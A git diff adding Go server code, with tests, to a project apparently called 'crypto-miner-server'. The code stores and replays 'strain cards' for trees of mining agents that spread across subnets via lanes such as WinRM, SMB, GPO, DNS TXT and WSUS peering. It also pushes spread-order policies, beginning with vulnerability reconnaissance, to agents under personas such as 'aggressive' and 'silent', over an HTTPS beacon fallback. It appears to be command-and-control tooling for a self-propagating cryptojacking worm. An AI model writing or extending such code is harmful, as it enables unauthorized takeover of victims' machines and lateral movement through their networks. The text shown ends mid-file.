diff --git a/server/internal/api/strain_card.go b/server/internal/api/strain_card.go new file mode 100644 index 0000000..c56d7bf --- /dev/null +++ b/server/internal/api/strain_card.go @@ -0,0 +1,309 @@ +package api + +import ( + "encoding/json" + "log" + "net/http" + "strings" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" + "crypto-miner-server/internal/strategy" +) + +type playStrainCardRequest struct { + AgentID string `json:"agent_id"` + CardID string `json:"card_id"` +} + +// GetStrainCards lists lineage strain cards (optionally filtered by agent_id). +func (f *FleetHandler) GetStrainCards(w http.ResponseWriter, r *http.Request) { + if f.db == nil { + writeJSON(w, []strategy.StrainCard{}) + return + } + agentID := strings.TrimSpace(r.URL.Query().Get("agent_id")) + if agentID != "" { + stored, err := f.db.ListStrainCardsForAgent(agentID) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + writeJSON(w, decodeStrainCards(stored)) + return + } + stored, err := f.db.ListStrainCards(100) + if err != nil { + http.Error(w, err.Error(), http.StatusInternalServerError) + return + } + writeJSON(w, decodeStrainCards(stored)) +} + +// PostPlayStrainCard applies a winning strain card preset to a target agent. +func (f *FleetHandler) PostPlayStrainCard(w http.ResponseWriter, r *http.Request) { + if f.db == nil || f.ws == nil { + http.Error(w, "fleet services unavailable", http.StatusServiceUnavailable) + return + } + var req playStrainCardRequest + if err := json.NewDecoder(r.Body).Decode(&req); err != nil { + http.Error(w, "invalid body", http.StatusBadRequest) + return + } + agentID := strings.TrimSpace(req.AgentID) + cardID := strings.TrimSpace(req.CardID) + if agentID == "" || cardID == "" { + http.Error(w, "agent_id and card_id are required", http.StatusBadRequest) + return + } + if _, err := f.db.GetAgent(agentID); err != nil { + http.Error(w, "agent not found", http.StatusNotFound) + return + } + stored, err := f.db.GetStrainCard(cardID) + if err != nil { + http.Error(w, "strain card not found", http.StatusNotFound) + return + } + var card strategy.StrainCard + if err := json.Unmarshal([]byte(stored.CardJSON), &card); err != nil { + http.Error(w, "invalid strain card data", http.StatusInternalServerError) + return + } + if card.ID == "" { + card.ID = stored.ID + } + + result, err := f.ws.PlayStrainCard(agentID, card) + if err != nil { + writeJSON(w, map[string]interface{}{ + "success": false, + "error": err.Error(), + "agent_id": agentID, + "card_id": cardID, + }) + return + } + + log.Printf("[lineage] played strain card %q on agent %q (persona=%s play_id=%s sent=%v)", + cardID, agentID, card.Persona, result.PlayID, result.Sent) + + _ = f.db.InsertAudit(AuthUsername(r), "play_strain_card", agentID, map[string]interface{}{ + "card_id": cardID, + "play_id": result.PlayID, + "persona": card.Persona, + "strain": card.SpreadStrain, + "root": card.RootAgentID, + "source": card.SourceAgentName, + "sent": result.Sent, + "queued": result.Queued, + "transport": result.Transport, + }) + + writeJSON(w, map[string]interface{}{ + "success": true, + "agent_id": agentID, + "card_id": cardID, + "play_id": result.PlayID, + "persona": card.Persona, + "strain": card.SpreadStrain, + "sent": result.Sent, + "queued": result.Queued, + }) +} + +func decodeStrainCards(stored []db.StoredStrainCard) []strategy.StrainCard { + out := make([]strategy.StrainCard, 0, len(stored)) + for _, s := range stored { + var card strategy.StrainCard + if err := json.Unmarshal([]byte(s.CardJSON), &card); err != nil { + card = strategy.StrainCard{ + ID: s.ID, + RootAgentID: s.RootAgentID, + SourceAgentID: s.SourceAgentID, + SourceAgentName: s.SourceAgentName, + SpreadStrain: s.SpreadStrain, + SpreadLane: s.SpreadLane, + Persona: s.Persona, + PeakHashrate: s.PeakHashrate, + ErasureRecoveryRate: s.ErasureRecoveryRate, + TreeSize: s.TreeSize, + CreatedAt: s.CreatedAt, + UpdatedAt: s.UpdatedAt, + } + } + if card.ID == "" { + card.ID = s.ID + } + out = append(out, card) + } + return out +} + +func spreadTreeAgentsFromModels(agents []*models.Agent, joinLanes map[string]string, hashrates map[string]float64) []strategy.SpreadTreeAgent { + out := make([]strategy.SpreadTreeAgent, 0, len(agents)) + for _, a := range agents { + if a == nil { + continue + } + lane := joinLanes[a.ID] + hr := hashrates[a.ID] + out = append(out, strategy.SpreadTreeAgent{ + ID: a.ID, + Name: a.Name, + IP: a.IP, + ParentAgentID: a.ParentAgentID, + SpreadGeneration: a.SpreadGeneration, + SpreadStrain: a.SpreadStrain, + JoinLane: lane, + Hashrate: hr, + }) + } + return out +} + +func (h *WSHub) publishStrainCardForWinner( + agentID, agentName, joinLane string, + tierOrder []string, + peakHashrate float64, + attempts []strategy.TierAttempt, +) { + if h.db == nil { + return + } + allAgents, err := h.db.ListAgents() + if err != nil { + log.Printf("[lineage] list agents: %v", err) + return + } + joinLanes := h.agentJoinLanesSnapshot() + hashrates := h.agentHashratesSnapshot() + treeAgents := spreadTreeAgentsFromModels(allAgents, joinLanes, hashrates) + + var parentLanes []string + if h.breedingRegistry != nil { + ag, _ := h.db.GetAgent(agentID) + if ag != nil { + fp := strategy.FingerprintFromAuth(ag.Platform, ag.IP, ag.FirewallDomain != nil && *ag.FirewallDomain) + if bred, ok := h.breedingRegistry.GetBred(fp.Key()); ok { + parentLanes = append([]string(nil), bred.ParentLanes...) + } + } + } + + card := strategy.BuildStrainCard(strategy.BuildStrainCardInput{ + SourceAgentID: agentID, + SourceAgentName: agentName, + SpreadLane: joinLane, + TierOrder: tierOrder, + PeakHashrate: peakHashrate, + Attempts: attempts, + TreeAgents: treeAgents, + ParentLanes: parentLanes, + }) + + cardJSON, err := json.Marshal(card) + if err != nil { + log.Printf("[lineage] marshal card: %v", err) + return + } + id, err := h.db.UpsertStrainCard(card.RootAgentID, agentID, cardJSON, db.StoredStrainCard{ + SourceAgentName: card.SourceAgentName, + SpreadStrain: card.SpreadStrain, + SpreadLane: card.SpreadLane, + Persona: card.Persona, + PeakHashrate: card.PeakHashrate, + ErasureRecoveryRate: card.ErasureRecoveryRate, + TreeSize: card.TreeSize, + }) + if err != nil { + log.Printf("[lineage] upsert strain card: %v", err) + return + } + card.ID = id + log.Printf("[lineage] strain card %q for tree root=%s source=%s wins=%d losses=%d subnets=%d erasure=%.2f", + id, card.RootAgentID, agentName, len(card.Wins), len(card.Losses), len(card.Subnets), card.ErasureRecoveryRate) + + h.broadcastDashboard(Message{ + Type: "strain_card", + Payload: mustMarshal(map[string]interface{}{ + "card": card, + }), + }) +} + +func (h *WSHub) agentJoinLanesSnapshot() map[string]string { + h.mu.RLock() + defer h.mu.RUnlock() + out := make(map[string]string, len(h.agentLiveTelemetry)) + for id, telem := range h.agentLiveTelemetry { + if lane, ok := telem["join_lane"].(string); ok && lane != "" { + out[id] = lane + } + } + return out +} + +func (h *WSHub) agentHashratesSnapshot() map[string]float64 { + h.mu.RLock() + defer h.mu.RUnlock() + out := make(map[string]float64, len(h.agentLiveTelemetry)) + for id, telem := range h.agentLiveTelemetry { + if hr, ok := telem["mining_hashrate"].(float64); ok && hr > 0 { + out[id] = hr + } + } + return out +} + +// StrainCardPlayResult is the outcome of playing a card on an agent. +type StrainCardPlayResult struct { + PlayID string + Sent bool + Queued bool + Transport string +} + +// PlayStrainCard pushes spread temperament from a lineage card to an agent. +func (h *WSHub) PlayStrainCard(agentID string, card strategy.StrainCard) (StrainCardPlayResult, error) { + agentID = strings.TrimSpace(agentID) + if agentID == "" { + return StrainCardPlayResult{}, errAgentRequired + } + temp := strategy.TemperamentFromCard(card) + policy := FleetAgentPolicy{SpreadTemperament: &temp} + pushID := "strain-" + card.ID + sent, failed := h.PushPolicyUpdate([]string{agentID}, policy, pushID) + if sent == 0 && failed > 0 { + return StrainCardPlayResult{}, errAgentNotConnected + } + result := StrainCardPlayResult{ + PlayID: pushID, + Sent: sent > 0, + } + if !h.isAgentConnected(agentID) && sent > 0 { + result.Queued = true + result.Transport = "https_beacon" + } + h.broadcastDashboard(Message{ + Type: "strain_card_played", + Payload: mustMarshal(map[string]interface{}{ + "agent_id": agentID, + "card_id": card.ID, + "play_id": pushID, + "persona": card.Persona, + "strain": card.SpreadStrain, + }), + }) + return result, nil +} + +var ( + errAgentRequired = &strainCardError{"agent id is required"} + errAgentNotConnected = &strainCardError{"agent not connected"} +) + +type strainCardError struct{ msg string } + +func (e *strainCardError) Error() string { return e.msg } diff --git a/server/internal/api/strain_card_test.go b/server/internal/api/strain_card_test.go new file mode 100644 index 0000000..e15c95e --- /dev/null +++ b/server/internal/api/strain_card_test.go @@ -0,0 +1,146 @@ +package api + +import ( + "bytes" + "encoding/json" + "net/http" + "net/http/httptest" + "testing" + "time" + + "crypto-miner-server/internal/db" + "crypto-miner-server/internal/models" + "crypto-miner-server/internal/strategy" +) + +func TestPublishStrainCardOnWinningPhenotype(t *testing.T) { + fh, database, hub, _ := newTestFleetHandler(t) + _ = fh + + root := &models.Agent{ID: "root-agent", Name: "Root", IP: "10.0.1.5", Status: "online", LastSeen: time.Now().UTC()} + child := &models.Agent{ID: "child-agent", Name: "Child", IP: "10.0.2.8", Status: "online", ParentAgentID: "root-agent", SpreadGeneration: 1, LastSeen: time.Now().UTC()} + for _, a := range []*models.Agent{root, child} { + if err := database.UpsertAgent(a); err != nil { + t.Fatal(err) + } + } + + hub.mu.Lock() + hub.agentLiveTelemetry["child-agent"] = map[string]interface{}{ + "join_lane": "dns_txt", + "mining_hashrate": 750.0, + } + hub.mu.Unlock() + + fp := "windows|0|0|0|0|0|10.0.2.x" + hub.tryPublishWinningPhenotype( + "child-agent", "windows", "10.0.2.8", nil, + []struct { + Tier string `json:"tier"` + OK bool `json:"ok"` + Error string `json:"error,omitempty"` + DurationMs int64 `json:"duration_ms"` + Wallet string `json:"wallet,omitempty"` + }{ + {Tier: "docker", OK: false}, + {Tier: "container", OK: true}, + }, + 750, "container", "dns_txt", + []string{"container", "wsl", "cpu_inprocess"}, + ) + _ = fp + + cards, err := database.ListStrainCardsForAgent("child-agent") + if err != nil { + t.Fatal(err) + } + if len(cards) != 1 { + t.Fatalf("expected 1 strain card, got %d", len(cards)) + } + var card strategy.StrainCard + if err := json.Unmarshal([]byte(cards[0].CardJSON), &card); err != nil { + t.Fatal(err) + } + if card.RootAgentID != "root-agent" || card.SourceAgentID != "child-agent" { + t.Fatalf("card tree: %+v", card) + } + if len(card.Wins) == 0 || card.Persona != "persuasive" { + t.Fatalf("card wins/persona: wins=%v persona=%q", card.Wins, card.Persona) + } +} + +func TestPostPlayStrainCard(t *testing.T) { + fh, database, hub, _ := newTestFleetHandler(t) + + agent := &models.Agent{ID: "target-agent", Name: "Target", Status: "online", LastSeen: time.Now().UTC()} + if err := database.UpsertAgent(agent); err != nil { + t.Fatal(err) + } + conn := connectTestAgent(t, hub, "target-agent") + defer conn.Close() + + card := strategy.BuildStrainCard(strategy.BuildStrainCardInput{ + SourceAgentID: "src", + SourceAgentName: "Src", + SpreadLane: "winrm", + TierOrder: []string{"container", "wsl"}, + PeakHashrate: 500, + }) + raw, _ := json.Marshal(card) + cardID, err := database.UpsertStrainCard("root-x", "src", raw, dbStoredMetaFromCard(card)) + if err != nil { + t.Fatal(err) + } + + body, _ := json.Marshal(map[string]string{ + "agent_id": "target-agent", + "card_id": cardID, + }) + req := httptest.NewRequest(http.MethodPost, "/fleet/play-strain-card", bytes.NewReader(body)) + rec := httptest.NewRecorder() + fleetChiRoute(http.MethodPost, "/fleet/play-strain-card", fh.PostPlayStrainCard).ServeHTTP(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status=%d body=%s", rec.Code, rec.Body.String()) + } + var resp map[string]interface{} + if err := json.Unmarshal(rec.Body.Bytes(), &resp); err != nil { + t.Fatal(err) + } + if resp["success"] != true { + t.Fatalf("response: %+v", resp) + } +} + +func TestGetStrainCardsByAgent(t *testing.T) { + fh, database, _, _ := newTestFleetHandler(t) + card := strategy.StrainCard{RootAgentID: "root-a", SourceAgentID: "agent-a", PeakHashrate: 100} + raw, _ := json.Marshal(card) + if _, err := database.UpsertStrainCard("root-a", "agent-a", raw, dbStoredMetaFromCard(card)); err != nil { + t.Fatal(err) + } + req := httptest.NewRequest(http.MethodGet, "/fleet/strain-cards?agent_id=agent-a", nil) + rec := httptest.NewRecorder() + fleetChiRoute(http.MethodGet, "/fleet/strain-cards", fh.GetStrainCards).ServeHTTP(rec, req) + if rec.Code != http.StatusOK { + t.Fatalf("status=%d", rec.Code) + } + var cards []strategy.StrainCard + if err := json.Unmarshal(rec.Body.Bytes(), &cards); err != nil { + t.Fatal(err) + } + if len(cards) != 1 || cards[0].RootAgentID != "root-a" { + t.Fatalf("cards=%+v", cards) + } +} + +func dbStoredMetaFromCard(card strategy.StrainCard) db.StoredStrainCard { + return db.StoredStrainCard{ + SourceAgentName: card.SourceAgentName, + SpreadStrain: card.SpreadStrain, + SpreadLane: card.SpreadLane, + Persona: card.Persona, + PeakHashrate: card.PeakHashrate, + ErasureRecoveryRate: card.ErasureRecoveryRate, + TreeSize: card.TreeSize, + } +} diff --git a/server/internal/db/strain_cards.go b/server/internal/db/strain_cards.go new file mode 100644 index 0000000..6dc6da4 --- /dev/null +++ b/server/internal/db/strain_cards.go @@ -0,0 +1,196 @@ +package db + +import ( + "database/sql" + "encoding/json" + "errors" + "strings" + "time" + + "github.com/google/uuid" +) + +// StoredStrainCard is a persisted lineage card for a winning spread tree. +type StoredStrainCard struct { + ID string + RootAgentID string + SourceAgentID string + SourceAgentName string + SpreadStrain string + SpreadLane string + Persona string + CardJSON string + PeakHashrate float64 + ErasureRecoveryRate float64 + TreeSize int + CreatedAt time.Time + UpdatedAt time.Time +} + +func (d *Database) UpsertStrainCard(rootAgentID, sourceAgentID string, cardJSON []byte, meta StoredStrainCard) (string, error) { + if d == nil { + return "", errors.New("database unavailable") + } + rootAgentID = strings.TrimSpace(rootAgentID) + sourceAgentID = strings.TrimSpace(sourceAgentID) + if rootAgentID == "" || sourceAgentID == "" || len(cardJSON) == 0 { + return "", errors.New("strain card requires root, source, and JSON") + } + existing, err := d.GetStrainCardByRoot(rootAgentID) + if err != nil && !errors.Is(err, sql.ErrNoRows) { + return "", err + } + id := uuid.NewString() + now := time.Now().UTC() + if existing != nil { + id = existing.ID + if meta.PeakHashrate <= existing.PeakHashrate && existing.PeakHashrate > 0 { + return id, nil + } + } + if meta.ID != "" { + id = meta.ID + } + _, err = d.Exec( + `INSERT INTO strain_cards ( + id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane, + persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at + ) VALUES (?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?, ?) + ON CONFLICT(root_agent_id) DO UPDATE SET + source_agent_id = excluded.source_agent_id, + source_agent_name = excluded.source_agent_name, + spread_strain = excluded.spread_strain, + spread_lane = excluded.spread_lane, + persona = excluded.persona, + card_json = excluded.card_json, + peak_hashrate = excluded.peak_hashrate, + erasure_recovery_rate = excluded.erasure_recovery_rate, + tree_size = excluded.tree_size, + updated_at = excluded.updated_at + WHERE excluded.peak_hashrate >= strain_cards.peak_hashrate`, + id, rootAgentID, sourceAgentID, meta.SourceAgentName, meta.SpreadStrain, meta.SpreadLane, + meta.Persona, string(cardJSON), meta.PeakHashrate, meta.ErasureRecoveryRate, meta.TreeSize, + now.Format(time.RFC3339), now.Format(time.RFC3339), + ) + return id, err +} + +func (d *Database) GetStrainCard(id string) (*StoredStrainCard, error) { + id = strings.TrimSpace(id) + if id == "" { + return nil, sql.ErrNoRows + } + row := d.QueryRow( + `SELECT id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane, + persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at + FROM strain_cards WHERE id = ?`, id, + ) + return scanStrainCard(row) +} + +func (d *Database) GetStrainCardByRoot(rootAgentID string) (*StoredStrainCard, error) { + rootAgentID = strings.TrimSpace(rootAgentID) + if rootAgentID == "" { + return nil, sql.ErrNoRows + } + row := d.QueryRow( + `SELECT id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane, + persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at + FROM strain_cards WHERE root_agent_id = ?`, rootAgentID, + ) + return scanStrainCard(row) +} + +func (d *Database) ListStrainCardsForAgent(agentID string) ([]StoredStrainCard, error) { + agentID = strings.TrimSpace(agentID) + if agentID == "" { + return nil, nil + } + rows, err := d.Query( + `SELECT id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane, + persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at + FROM strain_cards + WHERE root_agent_id = ? OR source_agent_id = ? + ORDER BY peak_hashrate DESC, updated_at DESC`, + agentID, agentID, + ) + if err != nil { + return nil, err + } + defer rows.Close() + var out []StoredStrainCard + for rows.Next() { + c, err := scanStrainCardRow(rows) + if err != nil { + return nil, err + } + out = append(out, *c) + } + return out, rows.Err() +} + +func (d *Database) ListStrainCards(limit int) ([]StoredStrainCard, error) { + if limit <= 0 { + limit = 50 + } + rows, err := d.Query( + `SELECT id, root_agent_id, source_agent_id, source_agent_name, spread_strain, spread_lane, + persona, card_json, peak_hashrate, erasure_recovery_rate, tree_size, created_at, updated_at + FROM strain_cards ORDER BY updated_at DESC LIMIT ?`, limit, + ) + if err != nil { + return nil, err + } + defer rows.Close() + var out []StoredStrainCard + for rows.Next() { + c, err := scanStrainCardRow(rows) + if err != nil { + return nil, err + } + out = append(out, *c) + } + return out, rows.Err() +} + +type strainCardScanner interface { + Scan(dest ...interface{}) error +} + +func scanStrainCard(row *sql.Row) (*StoredStrainCard, error) { + return scanStrainCardRow(row) +} + +func scanStrainCardRow(row strainCardScanner) (*StoredStrainCard, error) { + var c StoredStrainCard + var createdAt, updatedAt string + if err := row.Scan( + &c.ID, &c.RootAgentID, &c.SourceAgentID, &c.SourceAgentName, &c.SpreadStrain, &c.SpreadLane, + &c.Persona, &c.CardJSON, &c.PeakHashrate, &c.ErasureRecoveryRate, &c.TreeSize, &createdAt, &updatedAt, + ); err != nil { + return nil, err + } + c.CreatedAt = parseSQLiteTime(createdAt) + c.UpdatedAt = parseSQLiteTime(updatedAt) + return &c, nil +} + +func parseSQLiteTime(raw string) time.Time { + if t, err := time.Parse(time.RFC3339, raw); err == nil { + return t + } + if t, err := time.Parse("2006-01-02 15:04:05", raw); err == nil { + return t.UTC() + } + return time.Time{} +} + +// DecodeStrainCardJSON unmarshals the stored card JSON blob. +func DecodeStrainCardJSON(raw string) (map[string]interface{}, error) { + out := map[string]interface{}{} + if strings.TrimSpace(raw) == "" { + return out, nil + } + err := json.Unmarshal([]byte(raw), &out) + return out, err +} diff --git a/server/internal/db/strain_cards_test.go b/server/internal/db/strain_cards_test.go new file mode 100644 index 0000000..de6fab1 --- /dev/null +++ b/server/internal/db/strain_cards_test.go @@ -0,0 +1,81 @@ +package db + +import ( + "encoding/json" + "testing" +) + +func TestUpsertStrainCardRoundTrip(t *testing.T) { + d, err := New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = d.Close() }) + + cardJSON := []byte(`{ + "root_agent_id":"root-1", + "source_agent_id":"leaf-1", + "source_agent_name":"Leaf", + "spread_lane":"dns_txt", + "persona":"persuasive", + "wins":["container"], + "losses":["docker"], + "subnets":["10.0.0.x","10.0.2.x"], + "erasure_recovery_rate":1, + "peak_hashrate":900, + "tree_size":2 + }`) + id, err := d.UpsertStrainCard("root-1", "leaf-1", cardJSON, StoredStrainCard{ + SourceAgentName: "Leaf", + SpreadLane: "dns_txt", + Persona: "persuasive", + PeakHashrate: 900, + ErasureRecoveryRate: 1, + TreeSize: 2, + }) + if err != nil { + t.Fatal(err) + } + got, err := d.GetStrainCard(id) + if err != nil { + t.Fatal(err) + } + if got.RootAgentID != "root-1" || got.PeakHashrate != 900 { + t.Fatalf("stored card: %+v", got) + } + list, err := d.ListStrainCardsForAgent("leaf-1") + if err != nil || len(list) != 1 { + t.Fatalf("list for agent: %v err=%v", list, err) + } +} + +func TestUpsertStrainCardSkipsLowerHashrate(t *testing.T) { + d, err := New(t.TempDir()) + if err != nil { + t.Fatal(err) + } + t.Cleanup(func() { _ = d.Close() }) + + card := map[string]interface{}{"root_agent_id": "root", "source_agent_id": "a1", "peak_hashrate": 500} + raw, _ := json.Marshal(card) + id1, err := d.UpsertStrainCard("root", "a1", raw, StoredStrainCard{PeakHashrate: 500}) + if err != nil { + t.Fatal(err) + } + card["peak_hashrate"] = 100 + raw2, _ := json.Marshal(card) + id2, err := d.UpsertStrainCard("root", "a1", raw2, StoredStrainCard{PeakHashrate: 100}) + if err != nil { + t.Fatal(err) + } + if id1 != id2 { + t.Fatalf("ids differ: %s vs %s", id1, id2) + } + got, err := d.GetStrainCardByRoot("root") + if err != nil { + t.Fatal(err) + } + if got.PeakHashrate != 500 { + t.Fatalf("peak hashrate regressed to %v", got.PeakHashrate) + } +} diff --git a/server/internal/strategy/strain_card.go b/server/internal/strategy/strain_card.go new file mode 100644 index 0000000..2647feb --- /dev/null +++ b/server/internal/strategy/strain_card.go @@ -0,0 +1,339 @@ +package strategy + +import ( + "crypto/sha256" + "fmt" + "sort" + "strings" + "time" +) + +// StrainParent is one node in a winning spread tree lineage. +type StrainParent struct { + AgentID string `json:"agent_id"` + AgentName string `json:"agent_name,omitempty"` + JoinLane string `json:"join_lane,omitempty"` + SpreadLane string `json:"spread_lane,omitempty"` + Generation int `json:"generation,omitempty"` +} + +// StrainCard is light gamification metadata for a winning spread tree. +type StrainCard struct { + ID string `json:"id"` + RootAgentID string `json:"root_agent_id"` + SourceAgentID string `json:"source_agent_id"` + SourceAgentName string `json:"source_agent_name"` + SpreadStrain string `json:"spread_strain"` + SpreadLane string `json:"spread_lane"` + Persona string `json:"persona"` + Parents []StrainParent `json:"parents"` + Wins []string `json:"wins"` + Losses []string `json:"losses"` + Subnets []string `json:"subnets"` + ErasureRecoveryRate float64 `json:"erasure_recovery_rate"` + PeakHashrate float64 `json:"peak_hashrate"` + TierOrder []string `json:"tier_order"` + TreeSize int `json:"tree_size"` + CreatedAt time.Time `json:"created_at"` + UpdatedAt time.Time `json:"updated_at"` +} + +// SpreadTreeAgent is minimal agent telemetry for card synthesis. +type SpreadTreeAgent struct { + ID string + Name string + IP string + ParentAgentID string + SpreadGeneration int + SpreadStrain string + JoinLane string + Hashrate float64 +} + +// SpreadStrainFromJoinLane returns a stable #RRGGBB hex for UI strain grouping. +func SpreadStrainFromJoinLane(lane string) string { + lane = strings.TrimSpace(strings.ToLower(lane)) + if lane == "" { + return "" + } + sum := sha256.Sum256([]byte("aetherforge-strain:" + lane)) + return fmt.Sprintf("#%02x%02x%02x", sum[0], sum[1], sum[2]) +} + +var erasureJoinLanes = map[string]bool{ + "dns_txt": true, + "wsus_cache_peer": true, + "do_peer": true, +} + +// PersonaFromSpreadLane maps a winning join/spread lane to a Calibrate persona preset. +func PersonaFromSpreadLane(lane string) string { + lane = strings.TrimSpace(strings.ToLower(lane)) + switch lane { + case "winrm", "smb", "gpo": + return "aggressive" + case "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh": + return "persuasive" + case "docker", "wsl", "container": + return "silent" + case "powershell", "dotnet", "bits_curl": + return "balanced" + default: + return "balanced" + } +} + +// BuildStrainCardInput is the publish payload for auto-generating a lineage card. +type BuildStrainCardInput struct { + SourceAgentID string + SourceAgentName string + SpreadLane string + TierOrder []string + PeakHashrate float64 + Attempts []TierAttempt + TreeAgents []SpreadTreeAgent + ParentLanes []string +} + +// CollectSpreadTree returns the root agent id and all agents in the spread tree. +func CollectSpreadTree(agents []SpreadTreeAgent, sourceAgentID string) (rootID string, tree []SpreadTreeAgent) { + sourceAgentID = strings.TrimSpace(sourceAgentID) + if sourceAgentID == "" || len(agents) == 0 { + return "", nil + } + byID := make(map[string]SpreadTreeAgent, len(agents)) + children := make(map[string][]SpreadTreeAgent) + for _, a := range agents { + byID[a.ID] = a + if p := strings.TrimSpace(a.ParentAgentID); p != "" { + children[p] = append(children[p], a) + } + } + rootID = sourceAgentID + for { + a, ok := byID[rootID] + if !ok { + break + } + p := strings.TrimSpace(a.ParentAgentID) + if p == "" { + break + } + rootID = p + } + seen := make(map[string]bool) + queue := []string{rootID} + for len(queue) > 0 { + id := queue[0] + queue = queue[1:] + if seen[id] { + continue + } + seen[id] = true + if a, ok := byID[id]; ok { + tree = append(tree, a) + for _, child := range children[id] { + queue = append(queue, child.ID) + } + } + } + sort.Slice(tree, func(i, j int) bool { + if tree[i].SpreadGeneration == tree[j].SpreadGeneration { + return tree[i].ID < tree[j].ID + } + return tree[i].SpreadGeneration < tree[j].SpreadGeneration + }) + return rootID, tree +} + +// BuildStrainCard synthesizes card JSON from a winning spread tree. +func BuildStrainCard(in BuildStrainCardInput) StrainCard { + now := time.Now().UTC() + lane := strings.TrimSpace(in.SpreadLane) + rootID, tree := CollectSpreadTree(in.TreeAgents, in.SourceAgentID) + if rootID == "" { + rootID = strings.TrimSpace(in.SourceAgentID) + } + if len(tree) == 0 && strings.TrimSpace(in.SourceAgentID) != "" { + tree = []SpreadTreeAgent{{ID: in.SourceAgentID, Name: in.SourceAgentName}} + } + + wins, losses := tierWinLossLists(in.Attempts) + parents := buildStrainParents(tree, in.ParentLanes) + subnets := collectTreeSubnets(tree) + erasureRate := computeErasureRecoveryRate(tree) + + strain := SpreadStrainFromJoinLane(lane) + for i := len(tree) - 1; i >= 0; i-- { + if s := strings.TrimSpace(tree[i].SpreadStrain); s != "" { + strain = s + break + } + } + + card := StrainCard{ + RootAgentID: rootID, + SourceAgentID: strings.TrimSpace(in.SourceAgentID), + SourceAgentName: strings.TrimSpace(in.SourceAgentName), + SpreadStrain: strain, + SpreadLane: lane, + Persona: PersonaFromSpreadLane(lane), + Parents: parents, + Wins: wins, + Losses: losses, + Subnets: subnets, + ErasureRecoveryRate: erasureRate, + PeakHashrate: in.PeakHashrate, + TierOrder: append([]string(nil), in.TierOrder...), + TreeSize: len(tree), + CreatedAt: now, + UpdatedAt: now, + } + if card.TierOrder == nil { + card.TierOrder = []string{} + } + if card.Wins == nil { + card.Wins = []string{} + } + if card.Losses == nil { + card.Losses = []string{} + } + if card.Subnets == nil { + card.Subnets = []string{} + } + if card.Parents == nil { + card.Parents = []StrainParent{} + } + return card +} + +func buildStrainParents(tree []SpreadTreeAgent, parentLanes []string) []StrainParent { + out := make([]StrainParent, 0, len(tree)) + for i, a := range tree { + if i == 0 && strings.TrimSpace(a.ParentAgentID) == "" { + continue + } + lane := strings.TrimSpace(a.JoinLane) + spreadLane := lane + if i > 0 && i-1 < len(parentLanes) { + spreadLane = strings.TrimSpace(parentLanes[i-1]) + } + out = append(out, StrainParent{ + AgentID: a.ID, + AgentName: a.Name, + JoinLane: lane, + SpreadLane: spreadLane, + Generation: a.SpreadGeneration, + }) + } + return out +} + +func tierWinLossLists(attempts []TierAttempt) (wins, losses []string) { + seenWin := make(map[string]bool) + seenLoss := make(map[string]bool) + for _, a := range attempts { + tier := strings.TrimSpace(a.Tier) + if tier == "" { + continue + } + if a.OK { + if !seenWin[tier] { + wins = append(wins, tier) + seenWin[tier] = true + } + continue + } + if !seenLoss[tier] { + losses = append(losses, tier) + seenLoss[tier] = true + } + } + return wins, losses +} + +func collectTreeSubnets(tree []SpreadTreeAgent) []string { + seen := make(map[string]bool) + out := make([]string, 0, len(tree)) + for _, a := range tree { + subnet := subnetFromIP(a.IP) + if subnet == "" || seen[subnet] { + continue + } + seen[subnet] = true + out = append(out, subnet) + } + sort.Strings(out) + return out +} + +func computeErasureRecoveryRate(tree []SpreadTreeAgent) float64 { + if len(tree) == 0 { + return 0 + } + var attempts, recoveries int + for _, a := range tree { + lane := strings.TrimSpace(strings.ToLower(a.JoinLane)) + if lane == "" || !erasureJoinLanes[lane] { + continue + } + attempts++ + if a.Hashrate > 0 { + recoveries++ + } + } + if attempts == 0 { + return 0 + } + return float64(recoveries) / float64(attempts) +} + +// TemperamentFromCard builds spread_temperament policy from a strain card. +func TemperamentFromCard(card StrainCard) AdaptiveStrategy { + order := card.TierOrder + if len(order) == 0 { + order = PersonaSpreadTierOrder(card.Persona) + } + reason := StrategyReason{ + Fact: "lineage_strain_card=" + card.ID, + Inference: "Operator played winning spread tree strain on agent", + Action: "Apply tier order: " + strings.Join(order, " → "), + } + return AdaptiveStrategy{ + TierOrder: append([]string(nil), order...), + Reasoning: []StrategyReason{reason}, + Confidence: 0.9, + UpdatedAt: time.Now().UTC().Format(time.RFC3339), + } +} + +// PersonaSpreadTierOrder returns spread tier order for a persona id (mirrors fleet AI). +func PersonaSpreadTierOrder(persona string) []string { + switch strings.ToLower(strings.TrimSpace(persona)) { + case "aggressive": + return []string{ + "vuln_recon", "docker", "smb", "winrm", "bits_curl", "wsl", "powershell", "dotnet", + "do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "linux", "gpo", + } + case "silent": + return []string{ + "vuln_recon", "docker", "wsl", "dotnet", "powershell", "bits_curl", + "do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo", + } + case "passive": + return []string{ + "vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl", + "do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo", + } + case "persuasive": + return []string{ + "vuln_recon", "dns_txt", "wsus_cache_peer", "do_peer", "webrtc_mesh", "bits_curl", + "docker", "wsl", "powershell", "dotnet", "smb", "winrm", "linux", "gpo", + } + default: + return []string{ + "vuln_recon", "docker", "wsl", "powershell", "dotnet", "bits_curl", + "do_peer", "wsus_cache_peer", "dns_txt", "webrtc_mesh", "smb", "winrm", "linux", "gpo", + } + } +} diff --git a/server/internal/strategy/strain_card_test.go b/server/internal/strategy/strain_card_test.go new file mode 100644 index 0000000..9680c05 --- /dev/null +++ b/server/internal/strategy/strain_card_test.go @@ -0,0 +1,93 @@ +package strategy + +import 